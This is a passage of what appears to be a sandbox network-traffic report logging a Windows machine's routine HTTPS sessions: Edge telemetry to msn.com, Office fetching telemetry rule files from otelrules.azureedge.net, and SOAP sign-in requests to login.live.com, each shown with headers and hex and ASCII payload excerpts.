65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:47 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_BL2 x-ms-request-id: 15331d18-c3c2-439b-b769-0ce5e518aeb7 PPServer: PPV: 30 H: BL02EPF0001D9CA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:46 GMT Connection: close Content-Length: 11389
2024-11-22 22:06:47 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49900	52.182.141.63	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313204674&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; msnup=
2024-11-22 22:06:46 UTC	5249	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 32 32 3a 30 36 3a 34 34 2e 36 37 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 65 31 31 33 63 32 35 2d 66 35 64 31 2d 34 34 30 30 2d 39 64 33 31 2d 37 34 65 66 61 30 30 63 33 38 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 31 31 37 32 36 37 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-22T22:06:44.673Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"ae113c25-f5d1-4400-9d31-74efa00c380d","epoch":"2111726742"},"app":{"locale
2024-11-22 22:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4173345004034b8198dd300cb5aec71c&HASH=4173&LV=202411&V=4&LU=1732313206920; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 22:06:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=89fd1a53c1c245e39e911beeca3e6f8a; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 22:36:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2231 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 22:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49899	52.182.141.63	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:46 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732313204725&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9522 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1; msnup=
2024-11-22 22:06:46 UTC	9522	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 32 32 3a 30 36 3a 34 34 2e 37 32 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 61 65 31 31 33 63 32 35 2d 66 35 64 31 2d 34 34 30 30 2d 39 64 33 31 2d 37 34 65 66 61 30 30 63 33 38 30 64 22 2c 22 65 70 6f 63 68 22 3a 22 32 31 31 31 37 32 36 37 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-22T22:06:44.723Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"ae113c25-f5d1-4400-9d31-74efa00c380d","epoch":"2111726742"},"app":{"loc
2024-11-22 22:06:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=b456e84040bb4f8f9aba5caa9011ab74&HASH=b456&LV=202411&V=4&LU=1732313207132; Domain=.microsoft.com; Expires=Sat, 22 Nov 2025 22:06:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=cc372362aa374824876ef081ec624fb1; Domain=.microsoft.com; Expires=Fri, 22 Nov 2024 22:36:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2407 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Fri, 22 Nov 2024 22:06:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:48 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:48 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220648Z-174c587ffdfldtt2hC1TEBwv9c00000001tg00000000p5wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:49 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:48 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220648Z-174c587ffdfldtt2hC1TEBwv9c00000001u000000000m57d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:48 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:48 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220648Z-174c587ffdfb5q56hC1TEB04kg00000001w000000000p917 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:48 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:48 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220648Z-178bfbc474bpscmfhC1NYCfc2c000000022000000000s8uk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:49 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:48 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:49 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220649Z-178bfbc474bpnd5vhC1NYC4vr400000003p00000000021ec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	49907	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-22 22:06:49 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-22 22:06:50 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 22 Nov 2024 22:05:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: ee37e09d-0332-4391-b910-3ff045097c2c PPServer: PPV: 30 H: SN1PEPF0002F1A8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 22 Nov 2024 22:06:49 GMT Connection: close Content-Length: 1918
2024-11-22 22:06:50 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49908	20.231.128.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-22 22:06:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 